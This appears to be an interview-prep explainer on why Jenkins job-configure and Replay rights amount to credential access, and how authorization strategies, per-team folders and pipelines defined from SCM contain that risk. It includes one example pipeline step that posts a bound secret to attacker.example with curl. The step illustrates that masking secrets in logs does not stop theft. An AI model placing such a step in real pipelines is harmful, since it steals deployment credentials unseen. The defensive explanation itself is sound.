skip to content

On a Jenkins controller where every developer has permission to configure any job, why is that effectively the same as handing out every credential, and how do you restrict it?

level: seniorimportance: should knowfreq 48%

answer

  1. configure rights equal credential rights
  2. exfiltration prints nothing to mask
  3. replay bypasses the reviewed script
  4. folders make foreign IDs unresolvable
  5. build permission is not configure permission

basics

~20 s

Anyone who can change what a job runs can bind any credential that job's context can see and send the value anywhere, so job-configure permission equals credential access. Restrict it with matrix or role-based authorization, per-team folders holding their own credentials, and pipelines defined in reviewed source control.

solid answer

~60 s

A pipeline names credentials by ID, so the ability to edit what a job executes is the ability to read every credential visible from that job's position in the tree — bind it, then send it to an external host, where masking is irrelevant because nothing was printed. The permission to replay a build with a modified script has the same effect. So the first move is to stop using "logged-in users can do anything" and adopt an authorization strategy: the Matrix Authorization Strategy plugin (a global matrix, or the project-based variant that adds per-item and per-folder tables) or the Role-based Authorization Strategy plugin, where roles are defined once globally and item roles are attached by name pattern. Then give most people **Build** but not **Configure** or **Replay**. Second, put each team's jobs in a Folder with its own credentials store, so cross-team IDs are unresolvable rather than merely discouraged. Third, define pipelines from SCM on a protected branch, so changing what runs requires a reviewed commit. Keep production deploy credentials in a folder — or a controller — with a much shorter list of people who can configure anything in it.

go deeper

for a junior

Know that a pipeline uses a credential by ID, so being able to edit what a job runs means being able to use that job's credentials — which is why not everyone gets job configuration rights.

for a middle

Name the concrete controls: an authorization strategy in place of "logged-in users can do anything", separating Build from Configure and Replay, and per-folder credential stores so foreign IDs cannot resolve.

for a senior

Reason about the whole exfiltration path — bind it, then send it anywhere, with nothing printed — and design the combination of authorization strategy, folder layout, System scoping and pipeline-from-SCM that closes it.

for a principal

Own the limit of the model: permissions bound reach but not value, so decide which credentials may live on a shared controller at all, and where credential lifetime or a separate instance is the real answer.

## The confused deputy at the centre of Jenkins security Jenkins credentials are referenced by ID. A pipeline that says `withCredentials([string(credentialsId: 'prod-deploy', variable: 'T')]) { ... }` gets the value because *the job* is entitled to it, not because the person who wrote that line is. Therefore: > Whoever controls the text of what a job runs controls every credential resolvable from that job. Exfiltration is trivial and leaves no console evidence — a single `sh 'curl -X POST -d "$T" https://attacker.example'` never prints anything for masking to catch. This is why "we mask secrets in logs" is not an answer to "who can read our deploy key". The same reasoning extends past the obvious Configure permission: - **Replay** lets a user re-run a build with an edited script, bypassing whatever is in source control. It is a separate permission for exactly this reason, and it is routinely overlooked when people tighten Configure. - **Workspace access** exposes files a build wrote, including any secret file a binding materialised or a tool cached. - **Creating a new job** in a folder is as good as editing an existing one, since the new job resolves the same folder credentials. - Rights to **configure agents or clouds** let a user point a job at a machine they control and read whatever the build is given. ## Choosing an authorization strategy The options people actually deploy: - **Logged-in users can do anything** — every authenticated user is effectively an administrator. Fine for a personal instance, indefensible on a shared one. - **Matrix Authorization Strategy** — a global table of permissions by user or group. Its **project-based** variant adds the same table on individual items and folders, so a folder can grant its team rights the global table withholds. Simple and explicit; it becomes unwieldy when many teams and many jobs each need their own row set. - **Role-based Authorization Strategy** — you define named global roles once, plus item roles bound to name patterns and agent roles, then assign people or groups to roles. This scales better because onboarding a team is a role assignment rather than an edit across many tables, though sloppy name patterns age badly when items are renamed. Either is a legitimate answer; what an interviewer listens for is that you know the default is inadequate and that you separate *build* from *configure*. ## Containment with folders Authorization decides who may act; folder structure decides what the job can even name. Credential resolution walks the item's ancestry, so a job in `/payments` cannot resolve an ID that exists only in `/marketing`. Combining the two: - One folder per team, holding that team's Global-scoped credentials. - Folder-level permissions granting the team Build on their jobs and Configure to a smaller set. - Infrastructure credentials — agent SSH keys, cloud plugin configuration — kept **System**-scoped so no pipeline can bind them at all. - Production deploy credentials isolated further: a separate folder with a short list of configurers, or a separate controller if the trust gap is large. ## Making the pipeline text reviewable A job whose script is typed into the Jenkins UI has no review trail. Defining the pipeline **from SCM** moves the text into a repository where branch protection and code review apply, so changing what production runs requires an approved commit rather than a click. Pair it with restricting Replay, otherwise the review gate is bypassable by anyone who can re-run a build. The Groovy sandbox and in-process script approval belong in the same picture: they stop untrusted pipeline code from reaching into Jenkins' own internals, which is a different escape route to the same place. ## How far this can go The honest ceiling is that a shared Jenkins controller holding any long-lived production credential is a single high-value target: an administrator, or anyone who can run arbitrary code on the controller, can read everything on it. Beyond permissions, the levers that genuinely reduce the value of a compromise are shorter credential lifetimes, credentials issued per build rather than stored, and moving the most dangerous deployments off the shared instance entirely. Permissions bound who can reach a secret; they do not change what the secret is worth.

  • Why is the Replay permission dangerous even for users who cannot configure a job?
    Replay re-runs a build with an edited version of the pipeline script, so whatever is in source control and whatever review gated it no longer constrains what executes. The replayed run still resolves the job's credentials, which means a user with Replay can bind and exfiltrate them exactly as if they had Configure. Tightening Configure while leaving Replay open closes the front door only.
  • Does log masking help at all against a malicious pipeline author?
    No. Masking hides the value in console output, and an author who wants the secret simply sends it over the network or writes it into an artifact instead of printing it. Masking is a safety net for honest mistakes; against someone who controls the script the only real controls are which credentials that job can resolve and who is allowed to change the script.
  • When is a separate Jenkins controller the right answer rather than a folder?
    When the trust gap is larger than the isolation a folder provides. Folders bound credential resolution and permissions, but an administrator, a vulnerable plugin, or anyone who can execute code on the controller still reaches everything on that instance. If production deployment credentials would be catastrophic in that scenario, move those pipelines to their own controller with its own small administrator set.
  • How does defining pipelines from SCM change the security picture?
    It moves the definition of what runs into a repository, where branch protection and pull-request review decide who can change it, and it leaves an audit trail; the Jenkins job then only points at a repository and branch. It holds only if Replay and job reconfiguration are also restricted, since either lets someone execute something other than the reviewed text.

saying these in an interview costs you the question

  • "We mask secrets in logs, so credentials are protected"
  • Leaving the authorization strategy as logged-in users can do anything
  • Restricting Configure but leaving Replay open
  • Assuming a shared root credentials store is fine if IDs are obscure
  • Treating a folder as isolation from a Jenkins administrator

context